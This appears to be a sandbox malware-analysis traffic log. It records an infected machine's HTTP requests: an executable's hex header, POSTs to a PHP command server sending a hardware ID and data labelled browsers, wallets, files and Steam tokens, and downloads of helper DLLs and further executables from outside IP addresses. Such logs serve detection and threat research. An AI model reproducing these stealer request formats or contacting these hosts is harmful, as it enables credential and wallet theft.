Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 04 Jul 2024 18:34:27 GMTContent-Type: application/octet-streamContent-Length: 1166336Last-Modified: Thu, 04 Jul 2024 17:41:21 GMTConnection: keep-aliveETag: "6686dec1-11cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c1 de 86 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 12 00 00 04 00 00 23 e0 11 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 7c 61 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 11 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 7c 61 04 00 00 40 0d 00 00 62 04 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 11 00 00 76 00 00 00 56 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIJKKFHIEGCBGCAFIJHost: 85.28.47.30Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 43 45 37 33 33 31 42 30 43 41 32 37 30 32 36 31 31 38 32 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4e 69 63 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="hwid"D9CE7331B0CA2702611826------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="build"Nice------AEHIJKKFHIEGCBGCAFIJ--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIEHost: 85.28.47.30Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="message"browsers------JJECAAEHCFIEBGCBGHIE--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCFBAAEHCFHJJKEHJKJHost: 85.28.47.30Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------KFCFBAAEHCFHJJKEHJKJContent-Disposition: form-data; name="message"plugins------KFCFBAAEHCFHJJKEHJKJ--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAKEHIEBKJJJJJKKKEHost: 85.28.47.30Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="message"fplugins------CFBAKEHIEBKJJJJJKKKE--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJKEHJJDAAKFHIDAKFHHost: 85.28.47.30Content-Length: 6871Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIDAECGDAFBAAAAAECGIHost: 85.28.47.30Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDBHost: 85.28.47.30Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEGDBKFIJDAKFIDGHJEHost: 85.28.47.30Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="file"------KJEGDBKFIJDAKFIDGHJE--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJHost: 85.28.47.30Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 2d 2d 0d 0a Data Ascii: ------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="file"------DBGHJEBKJEGHJKECAAKJ--
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGDBFIJKEBGIDGDHCGCHost: 85.28.47.30Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKKHost: 85.28.47.30Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="message"wallets------HCAEHJJKFCAAFHJKFBKK--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAECAKKFBGCBGDGIEHCHost: 85.28.47.30Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 2d 2d 0d 0a Data Ascii: ------FCAECAKKFBGCBGDGIEHCContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------FCAECAKKFBGCBGDGIEHCContent-Disposition: form-data; name="message"files------FCAECAKKFBGCBGDGIEHC--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIIIHost: 85.28.47.30Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 2d 2d 0d 0a Data Ascii: ------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="file"------DBKEHDGDGHCBGCAKFIII--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKKFBAEGDHJJJJKFBKFHost: 85.28.47.30Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 2d 2d 0d 0a Data Ascii: ------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="message"jbdtaijovg------FBKKFBAEGDHJJJJKFBKF--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000006001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBFIEBAFCBAAAAKJKJEHost: 85.28.47.30Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 42 46 49 45 42 41 46 43 42 41 41 41 41 4b 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 43 45 37 33 33 31 42 30 43 41 32 37 30 32 36 31 31 38 32 36 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 49 45 42 41 46 43 42 41 41 41 41 4b 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4e 69 63 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 49 45 42 41 46 43 42 41 41 41 41 4b 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------IEBFIEBAFCBAAAAKJKJEContent-Disposition: form-data; name="hwid"D9CE7331B0CA2702611826------IEBFIEBAFCBAAAAKJKJEContent-Disposition: form-data; name="build"Nice------IEBFIEBAFCBAAAAKJKJE--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000007001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
